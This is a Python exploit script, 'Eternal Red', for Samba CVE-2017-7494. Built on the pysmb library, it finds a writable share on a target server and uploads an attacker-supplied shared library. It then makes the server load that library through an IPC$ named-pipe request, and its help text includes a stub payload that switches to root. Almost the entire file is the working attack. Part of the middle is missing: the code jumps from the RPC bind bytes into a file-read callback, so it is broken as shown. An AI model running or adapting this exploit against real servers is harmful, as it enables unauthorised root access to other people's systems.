#! /usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = \ binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \ struct.pack(' 0: if data_len > remaining_len: file_obj.write(read_message.payload.data[:remaining_len]) read_len += remaining_len remaining_len = 0 else: file_obj.write(read_message.payload.data) remaining_len -= data_len read_len += data_len else: file_obj.write(read_message.payload.data) read_len += data_len if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2): closeFid(read_message.tid, kwargs['fid']) callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements else: sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len) else: messages_history.append(read_message) closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history)) def closeFid(tid, fid): m = SMBMessage(ComCloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) messages_history.append(m) if service_name not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if not connect_message.status.hasError: self.connected_trees[service_name] = connect_message.tid sendOpen(connect_message.tid) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history)) m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, '')) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name) messages_history.append(m) else: sendOpen(self.connected_trees[service_name]) def get_connection(user, password, server, port, force_smb1=False): if force_smb1: smb_structs.SUPPORT_SMB2 = False conn = SMBConnectionEx(user, password, "", "server") assert conn.connect(server, port) return conn def get_share_info(conn): conn.hook_listShares() return conn.listShares() def find_writeable_share(conn, shares): print("[+] Searching for writable share") filename = "red" test_file = tempfile.TemporaryFile() for share in shares: try: # If it's not writeable this will throw conn.storeFile(share.name, filename, test_file) conn.deleteFiles(share.name, filename) print("[+] Found writeable share: " + share.name) return share except: pass return None def write_payload(conn, share, payload, payload_name): with open(payload, "rb") as fin: conn.storeFile(share.name, payload_name, fin) return True def convert_share_path(share): path = share.path[2:] path = path.replace("\\", "/") return path def load_payload(user, password, server, port, fullpath): conn = get_connection(user, password, server, port, force_smb1 = True) conn.hook_retrieveFile() print("[+] Attempting to load payload") temp_file = tempfile.TemporaryFile() try: conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file) except: pass return def drop_payload(user, password, server, port, payload): payload_name = "charizard" conn = get_connection(user, password, server, port) shares = get_share_info(conn) share = find_writeable_share(conn, shares) if share is None: print("[!] No writeable shares on " + server + " for user: " + user) sys.exit(-1) if not write_payload(conn, share, payload, payload_name): print("[!] Failed to write payload: " + str(payload) + " to server") sys.exit(-1) conn.close() fullpath = convert_share_path(share) return os.path.join(fullpath, payload_name) def main(): parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description= """Eternal Red Samba Exploit -- CVE-2017-7494 Causes vulnerable Samba server to load a shared library in root context Credentials are not required if the server has a guest account For remote exploit you must have write permissions to at least one share Eternal Red will scan the Samba server for shares it can write to It will also determine the fullpath of the remote share For local exploit provide the full path to your shared library to load Your shared library should look something like this extern bool change_to_root_user(void); int samba_init_module(void) { change_to_root_user(); /* Do what thou wilt */ } """) parser.add_argument("payload", help="path to shared library to load", type=str) parser.add_argument("server", help="Server to target", type=str) parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int) parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str) parser.add_argument("--password", help="Password for user default is empty", type=str) parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool) args = parser.parse_args() if not os.path.isfile(args.payload): print("[!] Unable to open: " + args.payload) sys.exit(-1) port = 445 user = "nobody" password = "" fullpath = "" if args.port: port = args.port if args.username: user = args.username if args.password: password = args.password if args.local: fullpath = args.payload else: fullpath = drop_payload(user, password, args.server, port, args.payload) load_payload(user, password, args.server, port, fullpath) if __name__ == "__main__": main()